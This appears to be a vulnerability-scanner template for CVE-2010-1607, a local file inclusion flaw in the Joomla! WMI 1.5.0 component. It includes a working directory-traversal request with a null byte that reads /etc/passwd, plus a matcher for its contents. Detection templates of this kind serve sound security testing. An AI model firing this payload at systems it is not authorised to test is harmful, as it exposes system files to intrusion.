id: CVE-2010-1607

info:
  name: Joomla! Component WMI 1.5.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in wmi.php in the Webmoney Web Merchant Interface (aka WMI or com_wmi) component 1.5.0 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: |
    Update Joomla! Component WMI to the latest version or apply the provided patch to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12316
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1607
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58032
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1607
    cwe-id: CWE-22
    epss-score: 0.08177
    epss-percentile: 0.94138
    cpe: cpe:2.3:a:paysyspro:com_wmi:1.5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: paysyspro
    product: com_wmi
  tags: cve,cve2010,joomla,lfi,edb,paysyspro,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_wmi&controller=../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210099da73fe542d8fa639d94c354163d22b0b7093f11f7baa1654060cb2f75971b30220108c98c1d2335a35fccae79604f4e863ccb819518f4022b34479ad9233568549:922c64590222798bb761d5b6d8e72950